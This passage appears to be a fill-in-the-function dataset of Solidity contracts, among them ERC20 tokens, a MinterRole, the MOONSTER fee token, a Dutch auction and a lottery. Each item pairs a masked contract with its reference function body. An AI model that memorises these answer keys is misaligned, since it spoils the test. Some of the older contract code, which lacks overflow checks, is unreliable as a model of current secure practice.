contract UnoRewardPool is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 190000*10**uint256(decimals); string public constant name = "Uno Reward Pool"; string public constant symbol = "UNRP"; address payable teamAddress; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() public view returns (uint256) { return initialSupply; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } <FILL_FUNCTION> constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } function () external payable { teamAddress.transfer(msg.value); } }
allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true;
function approve(address spender, uint256 value) public returns (bool success)
function approve(address spender, uint256 value) public returns (bool success)
72727
MinterRole
null
contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal {<FILL_FUNCTION_BODY> } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } }
contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; <FILL_FUNCTION> modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } }
_addMinter(msg.sender);
constructor () internal
constructor () internal
48749
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
6342
MOONSTER
_approve
contract MOONSTER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MOONSTER"; string private constant _symbol = "MNSTR"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xA64f71350Ecf5AF1B583897Ee4da5A2AeD802572); _feeAddrWallet2 = payable(0xA64f71350Ecf5AF1B583897Ee4da5A2AeD802572); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x91b929bE8135CB7e1c83F775D4598a45aA8b334d), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private {<FILL_FUNCTION_BODY> } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract MOONSTER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MOONSTER"; string private constant _symbol = "MNSTR"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xA64f71350Ecf5AF1B583897Ee4da5A2AeD802572); _feeAddrWallet2 = payable(0xA64f71350Ecf5AF1B583897Ee4da5A2AeD802572); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x91b929bE8135CB7e1c83F775D4598a45aA8b334d), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } <FILL_FUNCTION> function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) private
function _approve(address owner, address spender, uint256 amount) private
20977
Utils
contractExists
contract Utils { enum MessageTypeId { None, BalanceProof, BalanceProofUpdate, Withdraw, CooperativeSettle, IOU, MSReward } /// @notice Check if a contract exists /// @param contract_address The address to check whether a contract is /// deployed or not /// @return True if a contract exists, false otherwise function contractExists(address contract_address) public view returns (bool) {<FILL_FUNCTION_BODY> } }
contract Utils { enum MessageTypeId { None, BalanceProof, BalanceProofUpdate, Withdraw, CooperativeSettle, IOU, MSReward } <FILL_FUNCTION> }
uint size; assembly { size := extcodesize(contract_address) } return size > 0;
function contractExists(address contract_address) public view returns (bool)
/// @notice Check if a contract exists /// @param contract_address The address to check whether a contract is /// deployed or not /// @return True if a contract exists, false otherwise function contractExists(address contract_address) public view returns (bool)
38106
DutchAuction
bid
contract DutchAuction { /* * Events */ event BidSubmission(address indexed sender, uint256 amount); event logPayload(bytes _data, uint _lengt); /* * Constants */ uint constant public MAX_TOKENS_SOLD = 10000000 * 10**18; // 10M uint constant public WAITING_PERIOD = 45 days; /* * Storage */ address public pWallet; Token public KittieFightToken; address public owner; PromissoryToken public PromissoryTokenIns; address constant public promissoryAddr = 0x0348B55AbD6E1A99C6EBC972A6A4582Ec0bcEb5c; uint public ceiling; uint public priceFactor; uint public startBlock; uint public endTime; uint public totalReceived; uint public finalPrice; mapping (address => uint) public bids; Stages public stage; /* * Enums */ enum Stages { AuctionDeployed, AuctionSetUp, AuctionStarted, AuctionEnded, TradingStarted } /* * Modifiers */ modifier atStage(Stages _stage) { require(stage == _stage); // Contract not in expected state _; } modifier isOwner() { require(msg.sender == owner); // Only owner is allowed to proceed _; } modifier isWallet() { require(msg.sender == address(pWallet)); // Only wallet is allowed to proceed _; } modifier isValidPayload() { emit logPayload(msg.data, msg.data.length); require(msg.data.length == 4 || msg.data.length == 36, "No valid payload"); _; } modifier timedTransitions() { if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice()) finalizeAuction(); if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD) stage = Stages.TradingStarted; _; } /* * Public functions */ /// @dev Contract constructor function sets owner. /// @param _pWallet KittieFight promissory wallet. /// @param _ceiling Auction ceiling. /// @param _priceFactor Auction price factor. constructor(address _pWallet, uint _ceiling, uint _priceFactor) public { if (_pWallet == 0 || _ceiling == 0 || _priceFactor == 0) // Arguments are null. revert(); owner = msg.sender; PromissoryTokenIns = PromissoryToken(promissoryAddr); pWallet = _pWallet; ceiling = _ceiling; priceFactor = _priceFactor; stage = Stages.AuctionDeployed; } /// @dev Setup function sets external contracts' addresses. /// @param _kittieToken token address. function setup(address _kittieToken) public isOwner atStage(Stages.AuctionDeployed) { if (_kittieToken == 0) // Argument is null. revert(); KittieFightToken = Token(_kittieToken); // Validate token balance if (KittieFightToken.balanceOf(this) != MAX_TOKENS_SOLD) revert(); stage = Stages.AuctionSetUp; } /// @dev Starts auction and sets startBlock. function startAuction() public isOwner atStage(Stages.AuctionSetUp) { stage = Stages.AuctionStarted; startBlock = block.number; } /// @dev Changes auction ceiling and start price factor before auction is started. /// @param _ceiling Updated auction ceiling. /// @param _priceFactor Updated start price factor. function changeSettings(uint _ceiling, uint _priceFactor) public isWallet atStage(Stages.AuctionSetUp) { ceiling = _ceiling; priceFactor = _priceFactor; } /// @dev Calculates current token price. /// @return Returns token price. function calcCurrentTokenPrice() public timedTransitions returns (uint) { if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted) return finalPrice; return calcTokenPrice(); } /// @dev Returns correct stage, even if a function with timedTransitions modifier has not yet been called yet. /// @return Returns current auction stage. function updateStage() public timedTransitions returns (Stages) { return stage; } /// @dev Allows to send a bid to the auction. /// @param receiver Bid will be assigned to this address if set. function bid(address receiver) public payable //isValidPayload timedTransitions atStage(Stages.AuctionStarted) returns (uint amount) {<FILL_FUNCTION_BODY> } /// @dev Claims tokens for bidder after auction. /// @param receiver Tokens will be assigned to this address if set. function claimTokens(address receiver) public isValidPayload timedTransitions atStage(Stages.TradingStarted) { if (receiver == 0) receiver = msg.sender; uint tokenCount = bids[receiver] * 10**18 / finalPrice; bids[receiver] = 0; KittieFightToken.transfer(receiver, tokenCount); } /// @dev Calculates stop price. /// @return Returns stop price. function calcStopPrice() view public returns (uint) { return totalReceived * 10**18 / MAX_TOKENS_SOLD + 1; } /// @dev Calculates token price. /// @return Returns token price. function calcTokenPrice() view public returns (uint) { return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1; } /* * Private functions */ function finalizeAuction() private { stage = Stages.AuctionEnded; if (totalReceived == ceiling) finalPrice = calcTokenPrice(); else finalPrice = calcStopPrice(); endTime = now; } }
contract DutchAuction { /* * Events */ event BidSubmission(address indexed sender, uint256 amount); event logPayload(bytes _data, uint _lengt); /* * Constants */ uint constant public MAX_TOKENS_SOLD = 10000000 * 10**18; // 10M uint constant public WAITING_PERIOD = 45 days; /* * Storage */ address public pWallet; Token public KittieFightToken; address public owner; PromissoryToken public PromissoryTokenIns; address constant public promissoryAddr = 0x0348B55AbD6E1A99C6EBC972A6A4582Ec0bcEb5c; uint public ceiling; uint public priceFactor; uint public startBlock; uint public endTime; uint public totalReceived; uint public finalPrice; mapping (address => uint) public bids; Stages public stage; /* * Enums */ enum Stages { AuctionDeployed, AuctionSetUp, AuctionStarted, AuctionEnded, TradingStarted } /* * Modifiers */ modifier atStage(Stages _stage) { require(stage == _stage); // Contract not in expected state _; } modifier isOwner() { require(msg.sender == owner); // Only owner is allowed to proceed _; } modifier isWallet() { require(msg.sender == address(pWallet)); // Only wallet is allowed to proceed _; } modifier isValidPayload() { emit logPayload(msg.data, msg.data.length); require(msg.data.length == 4 || msg.data.length == 36, "No valid payload"); _; } modifier timedTransitions() { if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice()) finalizeAuction(); if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD) stage = Stages.TradingStarted; _; } /* * Public functions */ /// @dev Contract constructor function sets owner. /// @param _pWallet KittieFight promissory wallet. /// @param _ceiling Auction ceiling. /// @param _priceFactor Auction price factor. constructor(address _pWallet, uint _ceiling, uint _priceFactor) public { if (_pWallet == 0 || _ceiling == 0 || _priceFactor == 0) // Arguments are null. revert(); owner = msg.sender; PromissoryTokenIns = PromissoryToken(promissoryAddr); pWallet = _pWallet; ceiling = _ceiling; priceFactor = _priceFactor; stage = Stages.AuctionDeployed; } /// @dev Setup function sets external contracts' addresses. /// @param _kittieToken token address. function setup(address _kittieToken) public isOwner atStage(Stages.AuctionDeployed) { if (_kittieToken == 0) // Argument is null. revert(); KittieFightToken = Token(_kittieToken); // Validate token balance if (KittieFightToken.balanceOf(this) != MAX_TOKENS_SOLD) revert(); stage = Stages.AuctionSetUp; } /// @dev Starts auction and sets startBlock. function startAuction() public isOwner atStage(Stages.AuctionSetUp) { stage = Stages.AuctionStarted; startBlock = block.number; } /// @dev Changes auction ceiling and start price factor before auction is started. /// @param _ceiling Updated auction ceiling. /// @param _priceFactor Updated start price factor. function changeSettings(uint _ceiling, uint _priceFactor) public isWallet atStage(Stages.AuctionSetUp) { ceiling = _ceiling; priceFactor = _priceFactor; } /// @dev Calculates current token price. /// @return Returns token price. function calcCurrentTokenPrice() public timedTransitions returns (uint) { if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted) return finalPrice; return calcTokenPrice(); } /// @dev Returns correct stage, even if a function with timedTransitions modifier has not yet been called yet. /// @return Returns current auction stage. function updateStage() public timedTransitions returns (Stages) { return stage; } <FILL_FUNCTION> /// @dev Claims tokens for bidder after auction. /// @param receiver Tokens will be assigned to this address if set. function claimTokens(address receiver) public isValidPayload timedTransitions atStage(Stages.TradingStarted) { if (receiver == 0) receiver = msg.sender; uint tokenCount = bids[receiver] * 10**18 / finalPrice; bids[receiver] = 0; KittieFightToken.transfer(receiver, tokenCount); } /// @dev Calculates stop price. /// @return Returns stop price. function calcStopPrice() view public returns (uint) { return totalReceived * 10**18 / MAX_TOKENS_SOLD + 1; } /// @dev Calculates token price. /// @return Returns token price. function calcTokenPrice() view public returns (uint) { return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1; } /* * Private functions */ function finalizeAuction() private { stage = Stages.AuctionEnded; if (totalReceived == ceiling) finalPrice = calcTokenPrice(); else finalPrice = calcStopPrice(); endTime = now; } }
// If a bid is done on behalf of a user via ShapeShift, the receiver address is set. if (receiver == 0) receiver = msg.sender; amount = msg.value; // Prevent that more than 90% of tokens are sold. Only relevant if cap not reached. uint maxWei = (MAX_TOKENS_SOLD / 10**18) * calcTokenPrice() - totalReceived; uint maxWeiBasedOnTotalReceived = ceiling - totalReceived; if (maxWeiBasedOnTotalReceived < maxWei) maxWei = maxWeiBasedOnTotalReceived; // Only invest maximum possible amount. if (amount > maxWei) { amount = maxWei; // Send change back to receiver address. In case of a ShapeShift bid the user receives the change back directly. if (!receiver.send(msg.value - amount)) // Sending failed revert(); } // Forward funding to ether pWallet if (amount == 0 || !address(pWallet).send(amount)) // No amount sent or sending failed revert(); bids[receiver] += amount; totalReceived += amount; if (maxWei == amount) // When maxWei is equal to the big amount the auction is ended and finalizeAuction is triggered. finalizeAuction(); emit BidSubmission(receiver, amount);
function bid(address receiver) public payable //isValidPayload timedTransitions atStage(Stages.AuctionStarted) returns (uint amount)
/// @dev Allows to send a bid to the auction. /// @param receiver Bid will be assigned to this address if set. function bid(address receiver) public payable //isValidPayload timedTransitions atStage(Stages.AuctionStarted) returns (uint amount)
30987
Lottery
updateTicketSum
contract Lottery { using SafeMath for uint256; modifier withdrawRight(){ require(msg.sender == address(bankContract), "Bank only"); _; } modifier onlyDevTeam() { require(msg.sender == devTeam, "only for development team"); _; } modifier buyable() { require(block.timestamp > round[curRoundId].startTime, "not ready to sell Ticket"); require(block.timestamp < round[curRoundId].slideEndTime, "round over"); _; } enum RewardType { Minor, Major, Grand, Bounty } // 1 buy = 1 slot = _ethAmount => (tAmount, tMul) struct Slot { address buyer; uint256 rId; // ticket numbers in range and unique in all rounds uint256 tNumberFrom; uint256 tNumberTo; // weight to, used for grandPot finalize uint256 wTo; uint256 ethAmount; uint256 salt; } struct Round { // earlyIncome weight sum uint256 rEarlyIncomeWeight; // blockNumber to get hash as random seed uint256 keyBlockNr; mapping(address => uint256) pTicketSum; mapping(address => uint256) pInvestedSum; // early income weight by address mapping(address => uint256) pEarlyIncomeWeight; mapping(address => uint256) pEarlyIncomeCredit; mapping(address => uint256) pEarlyIncomeClaimed; // early income per weight uint256 ppw; // endTime increased every slot sold // endTime limited by fixedEndTime uint256 startTime; uint256 slideEndTime; uint256 fixedEndTime; // ticketSum from round 1 to this round uint256 ticketSum; // investedSum from round 1 to this round uint256 investedSum; // number of slots from round 1 to this round uint256 slotSum; } // round started with this grandPot amount, // used to calculate the rate for grandPot results // init in roundInit function uint256 initGrandPot; Slot[] slot; // slotId logs by address mapping( address => uint256[]) pSlot; mapping( address => uint256) public pSlotSum; // logs by address mapping( address => uint256) public pTicketSum; mapping( address => uint256) public pInvestedSum; CitizenInterface public citizenContract; F2mInterface public f2mContract; BankInterface public bankContract; RewardInterface public rewardContract; address public devTeam; uint256 constant public ZOOM = 1000; uint256 constant public ONE_HOUR = 60 * 60; uint256 constant public ONE_DAY = 24 * ONE_HOUR; uint256 constant public TIMEOUT0 = 3 * ONE_HOUR; uint256 constant public TIMEOUT1 = 12 * ONE_HOUR; uint256 constant public TIMEOUT2 = 7 * ONE_DAY; uint256 constant public FINALIZE_WAIT_DURATION = 60; // 60 Seconds uint256 constant public 